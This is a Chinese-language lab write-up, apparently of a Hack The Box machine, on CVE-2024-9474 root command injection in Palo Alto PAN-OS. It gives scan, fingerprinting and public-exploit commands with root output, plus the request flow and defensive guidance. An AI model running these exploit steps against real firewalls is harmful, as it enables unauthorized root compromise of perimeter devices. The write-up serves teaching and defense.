PwnOS:从管理员到Root权限——利用CVE-2024-9474漏洞实现权限提升

本文详细分析了CVE-2024-9474漏洞,这是一个影响Palo Alto Networks PAN-OS的权限提升漏洞,允许管理员通过命令注入获得root权限。文章包含漏洞分析、指纹识别、利用步骤和防御建议。

PwnOS:从管理员到Root权限——利用CVE-2024-9474漏洞实现权限提升

PwnOS是一个非常简单(仅限企业版)的Linux机器,展示了如何利用CVE-2024-9474漏洞,这是一个影响Palo Alto Networks PAN-OS Web管理界面的权限提升漏洞。

该漏洞使经过身份验证的PAN-OS管理员能够通过createRemoteAppwebSession.php端点执行命令注入,并以root权限执行命令。本文将引导您了解该CVE漏洞、服务发现、PAN-OS指纹识别、漏洞利用和防御指南。

类别: 网络设备漏洞利用

平台: PAN-OS(防火墙)

重点: 命令注入、版本指纹识别、权限提升

什么是CVE-2024-9474?

类型: 通过命令注入实现权限提升

受影响版本: PAN-OS 10.1、10.2、11.0、11.1、11.2

所需权限: 管理UI的管理员访问权限

影响: 以root权限执行命令

易受攻击的流程滥用了createRemoteAppwebSession.php。精心构造的输入在服务器端执行,输出被重定向到可通过Web访问的路径以供检索。

CVE-2024-9474是一个权限提升漏洞,当攻击者可以向PAN-OS Web管理端点createRemoteAppwebSession.php提供精心构造的输入时,允许命令注入。该漏洞需要管理UI的管理员访问权限——但当管理平面暴露或管理员账户保护不当时,这一前提条件变得微不足道。成功利用会导致以root权限执行任意shell命令,输出通常重定向到可通过Web访问的路径(例如/unauth/1.php),为攻击者提供了简单的检索通道。

以下是这一点的重要性:防火墙上的管理平面被攻破使攻击者能够读取配置、收集凭据并持久化后门——所有这些都来自位于网络边界的设备。将任何管理平面漏洞视为高优先级。

您将使用的技能

  • 网络基础:端口扫描、服务枚举
  • Web分析:查看HTTP响应、端点
  • 漏洞利用:使用受限payload进行命令注入
  • 工具:nmap、PAN-OS指纹识别工具
  • 防御:补丁管理、访问控制、监控

侦察和指纹识别

从完整的TCP扫描开始,以识别暴露的服务和管理界面。实验室中使用的原始命令是:

1
sudo nmap -p- -Pn -T4 --min-rate=1000 -sC -sV 10.129.241.233

结果揭示:

  • 22/tcp:OpenSSH 8.0
  • 443/tcp:HTTPS,证书和资源中带有PAN-OS品牌标识

在浏览器中打开管理界面确认登录页面上的PAN-OS品牌标识。

PAN-OS指纹识别

为了确定运行的软件版本,我们使用noperator的panos-scanner。

1
2
3
git clone https://github.com/noperator/panos-scanner.git
cd panos-scanner
python3 panos-scanner.py -s -t https://10.129.241.233/ -cve | jq

此目标的典型输出识别:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "target": "10.129.241.233",
  "match": {
    "date": "2024-02-08",
    "versions": ["10.2.8"],
    "precision": "approximate",
    "resource": "login/images/favicon.ico"
  },
  "cvelink": "https://security.paloaltonetworks.com/?product=PAN-OS&sort=-cvss"
}

指纹指向PAN-OS 10.2.8,该版本在受CVE-2024-9474影响的构建范围内。在对生产系统采取行动之前,请务必根据供应商公告交叉检查指纹识别的版本。

利用流程

可以使用公开的概念验证(PoC)重现该漏洞。实验室中使用的PoC可用并按以下方式执行:

1
2
3
git clone https://github.com/k4nfr3/CVE-2024-9474.git
cd CVE-2024-9474
python3 exploit_fw.py 10.129.241.233 "id"

预期运行(缩写):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST : https://10.129.241.233/php/utils/createRemoteAppwebSession.php/1.js.map
Status Code: 200
PHPSESSID: j45ovng8jc2ennka0lni3ia733

GET : https://10.129.241.233/index.php/.js.map
Status Code: 200

GET : https://10.129.241.233/unauth/1.php
Status Code: 200
Status Content: b'uid=0(root) gid=0(root) groups=0(root)\n'

输出显示uid=0(root),确认root级别的命令执行。请注意,payload可能受到长度限制;PoC通过使用短命令或分阶段写入来处理此问题。

您现在可以发出受限命令并从/unauth/1.php检索其输出。

标志检索(演示)

为了演示实际影响,可以使用PoC以root权限读取文件,例如实验室机器上的典型root标志:

1
2
3
4
5
python3 exploit_fw.py 10.129.241.233 "cat /root/flag.txt"

# ...

Status Content: b'b9aa<SNIP>\n'

再次强调:这是一个实验室演示。不要对您不拥有或没有明确测试权限的系统运行PoC。

底层原理

分解来看,该问题依赖于三个故障点:

  1. 端点滥用:createRemoteAppwebSession.php接受未经过适当清理的用户控制数据
  2. 命令注入:注入的shell命令在具有提升权限的上下文中的服务器端执行
  3. 输出重定向:命令结果被写入可通过Web访问的路径(例如/unauth/1.php),并可以通过HTTPS获取

高级请求流程:

  1. POST /php/utils/createRemoteAppwebSession.php/1.js.map └── 通过易受攻击的参数注入命令
  2. GET /index.php/.js.map └── 触发执行
  3. GET /unauth/1.php └── 检索命令输出

长度限制和输入清理问题可以通过拆分payload或使用短命令来绕过。关键点在于,一旦输出被重定向到/unauth/,攻击者可以轻松地远程获取它。

防御指南

1. 立即打补丁

遵循供应商公告并为受影响的PAN-OS构建应用官方热修复。

  • PAN-OS 10.1:>= 10.1.3-h4
  • PAN-OS 10.2:>= 10.2.0-h4
  • PAN-OS 11.0:>= 11.0.0-h4
  • PAN-OS 11.1:>= 11.1.0-h4
  • PAN-OS 11.2:>= 11.2.0-h1

2. 限制管理平面

将UI/API访问限制为受信任的IP范围和管理网络。在可能的情况下,将PAN-OS管理接口放在跳板主机或VPN后面。

3. 要求更强的管理员身份验证

对管理员账户强制执行MFA并避免共享凭据。轮换默认凭据并在管理员角色上应用最小权限原则。

4. 强化和监控

启用全面的管理员操作日志记录。监视对/php/utils/createRemoteAppwebSession.php的POST请求和对/unauth/*的GET请求。对/unauth/下出现的意外文件以及包含shell元字符或不寻常base64 blob的POST正文发出警报。

5. 程序化卫生

订阅供应商公告,维护带有版本映射的设备清单,并建立定期的补丁节奏,结合部署前测试。

4个关键要点

  1. PAN-OS管理漏洞影响巨大。当管理平面暴露时,经过身份验证的管理员漏洞可能迅速转变为完整的设备被攻破。
  2. 当存在易受攻击的构建时,准确的指纹识别和有针对性的利用可以快速获得root访问权限。
  3. 简单的输出重定向将有限的命令注入转变为完整的读取/渗透原语。
  4. 防御措施简单明了但必须强制执行:及时打补丁、分段管理、要求MFA,并监控所述请求/输出模式。

参考资料

  • Palo Alto Networks安全公告
  • PAN-OS扫描器(noperator)
  • PoC漏洞利用(k4nfr3)
  • 获取Hack The Box的14天免费试用
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计